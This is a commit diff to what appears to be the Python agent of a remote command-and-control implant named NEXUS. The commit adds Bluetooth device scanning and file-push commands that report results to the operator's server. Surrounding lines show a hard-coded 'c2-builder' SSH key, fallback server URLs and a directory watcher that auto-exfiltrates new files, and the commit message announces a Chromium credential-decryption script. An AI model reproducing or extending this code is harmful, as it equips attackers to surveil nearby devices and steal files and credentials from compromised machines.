v2.6.0: BT Radar — consent-gated bluetooth scan/whitelist/push (paired-device consent model), /api/btradar, drawer BT panel; auto-crack.py for nightmare (chromium v10 offline decrypt verified)
This commit is contained in:
114
agents/agent.py
114
agents/agent.py
@@ -14,7 +14,7 @@ import subprocess
|
||||
import shutil
|
||||
import getpass
|
||||
import urllib.request
|
||||
AGENT_VERSION = "2.5.0"
|
||||
AGENT_VERSION = "2.6.0"
|
||||
NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14'))
|
||||
NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else []
|
||||
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
|
||||
@@ -1250,6 +1250,112 @@ def execute_structured_action(action_type, payload):
|
||||
_dir_watch_add(d)
|
||||
return f"watching {d} — new files auto-exfil", 0
|
||||
|
||||
elif action_type == "bt_scan":
|
||||
# BT Radar: inventory every discoverable/paired bluetooth device in range.
|
||||
# Read-only discovery — no connections initiated beyond inquiry.
|
||||
system = platform.system().lower()
|
||||
devices = []
|
||||
if system == "linux" and _is_termux():
|
||||
r = subprocess.run("termux-bluetooth-scaninfo", shell=True, capture_output=True, text=True, timeout=45)
|
||||
try:
|
||||
raw = json.loads(r.stdout or "[]")
|
||||
for d in raw if isinstance(raw, list) else []:
|
||||
devices.append({"mac": d.get("mac_address", ""), "name": d.get("name", ""),
|
||||
"rssi": d.get("rssi", "")})
|
||||
except Exception:
|
||||
return "ERROR: termux-bluetooth-scaninfo failed (install Termux:API app + pkg install termux-api + grant BT perms)", 1
|
||||
elif system == "linux":
|
||||
has_bt = subprocess.run("hcitool dev 2>/dev/null | grep -q hci || bluetoothctl list 2>/dev/null | grep -q Controller",
|
||||
shell=True, capture_output=True, timeout=10)
|
||||
if has_bt.returncode != 0:
|
||||
return "ERROR: no bluetooth adapter on this node", 1
|
||||
subprocess.run("(bluetoothctl scan on & SCAN_PID=$!; sleep 8; kill $SCAN_PID 2>/dev/null; wait 2>/dev/null)",
|
||||
shell=True, capture_output=True, timeout=25)
|
||||
r = subprocess.run("bluetoothctl devices", shell=True, capture_output=True, text=True, timeout=15)
|
||||
for line in r.stdout.splitlines():
|
||||
if line.startswith("Device "):
|
||||
parts = line.split(" ", 2)
|
||||
if len(parts) >= 3:
|
||||
devices.append({"mac": parts[1], "name": parts[2]})
|
||||
for d in devices:
|
||||
info = subprocess.run(f"bluetoothctl info {d['mac']}", shell=True,
|
||||
capture_output=True, text=True, timeout=8)
|
||||
for ln in info.stdout.splitlines():
|
||||
if "RSSI:" in ln:
|
||||
d["rssi"] = ln.split(":")[1].strip()
|
||||
if "Paired: yes" in ln:
|
||||
d["paired"] = True
|
||||
elif system == "darwin":
|
||||
r = subprocess.run(["system_profiler", "SPBluetoothDataType", "-json"],
|
||||
capture_output=True, text=True, timeout=45)
|
||||
try:
|
||||
data = json.loads(r.stdout)
|
||||
bt = (data.get("SPBluetoothDataType") or [{}])[0]
|
||||
for key in ("device_connected", "device_not_connected"):
|
||||
for dev in (bt.get(key) or []):
|
||||
devices.append({"mac": dev.get("device_address", ""),
|
||||
"name": dev.get("device_title", dev.get("device_name", "")),
|
||||
"paired": key == "device_connected"})
|
||||
except Exception:
|
||||
return "ERROR: bluetooth profiler failed", 1
|
||||
wl = os.path.expanduser("~/.nexus_bt_whitelist")
|
||||
mine = set()
|
||||
try:
|
||||
mine = set(l.strip().lower() for l in open(wl) if l.strip())
|
||||
except Exception:
|
||||
pass
|
||||
for d in devices:
|
||||
d["mine"] = d.get("mac", "").lower() in mine
|
||||
return json.dumps({"type": "bt_scan_result", "devices": devices}), 0
|
||||
|
||||
elif action_type == "bt_whitelist":
|
||||
# Manage the consent list: {"add": "MAC", "remove": "MAC"} or {"list": true}
|
||||
wl = os.path.expanduser("~/.nexus_bt_whitelist")
|
||||
cur = set()
|
||||
try:
|
||||
cur = set(l.strip().lower() for l in open(wl) if l.strip())
|
||||
except Exception:
|
||||
pass
|
||||
if payload.get("list"):
|
||||
return "whitelist: " + (", ".join(sorted(cur)) or "empty"), 0
|
||||
add = (payload.get("add") or "").strip().lower()
|
||||
rem = (payload.get("remove") or "").strip().lower()
|
||||
if add:
|
||||
cur.add(add)
|
||||
if rem:
|
||||
cur.discard(rem)
|
||||
with open(wl, "w") as f:
|
||||
f.write("\n".join(sorted(cur)))
|
||||
return f"whitelist: {', '.join(sorted(cur)) or 'empty'}", 0
|
||||
|
||||
elif action_type == "bt_push":
|
||||
# Sync a file to a PAIRED + WHITELISTED device over BT OBEX.
|
||||
# Consent gate: MAC must be in ~/.nexus_bt_whitelist AND paired on this node.
|
||||
mac = (payload.get("mac") or "").strip().lower()
|
||||
path = payload.get("path", "")
|
||||
wl = os.path.expanduser("~/.nexus_bt_whitelist")
|
||||
allowed = set()
|
||||
try:
|
||||
allowed = set(l.strip().lower() for l in open(wl) if l.strip())
|
||||
except Exception:
|
||||
pass
|
||||
if not mac or mac not in allowed:
|
||||
return f"ERROR: {mac or '(no mac)'} not in whitelist — operator must approve this device first", 1
|
||||
if not path or not os.path.exists(path):
|
||||
return f"ERROR: no such file: {path}", 1
|
||||
system = platform.system().lower()
|
||||
if system == "darwin":
|
||||
return "ERROR: BT file push unsupported on macOS agent (pair the device and use AirDrop/finder sync)", 1
|
||||
for cmd in (f"ussp-push {shlex.quote(path)} {mac}@ 1",
|
||||
f"bluetooth-sendto --device {mac} {shlex.quote(path)}"):
|
||||
try:
|
||||
r = subprocess.run(cmd, shell=True, capture_output=True, timeout=90)
|
||||
if r.returncode == 0:
|
||||
return f"synced {path} -> {mac}", 0
|
||||
except Exception:
|
||||
pass
|
||||
return f"push to {mac} failed — needs ussp-push/bluetooth-sendto + device paired & accepting", 1
|
||||
|
||||
elif action_type == "export_diagnostics":
|
||||
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||
return run_shell(cmd)
|
||||
@@ -1489,7 +1595,11 @@ def main():
|
||||
special = json.loads(output)
|
||||
except: pass
|
||||
|
||||
if special and special.get("type") == "file_result":
|
||||
if special and special.get("type") == "bt_scan_result":
|
||||
http_post(f"{server_url}/api/agent/bt-result", {
|
||||
"commandId": cmd_id, "nodeId": node_id, "hostname": hostname,
|
||||
"devices": special.get("devices", [])})
|
||||
elif special and special.get("type") == "file_result":
|
||||
# Route to file-result endpoint
|
||||
http_post(f"{server_url}/api/agent/file-result", {
|
||||
"commandId": cmd_id,
|
||||
|
||||
Reference in New Issue
Block a user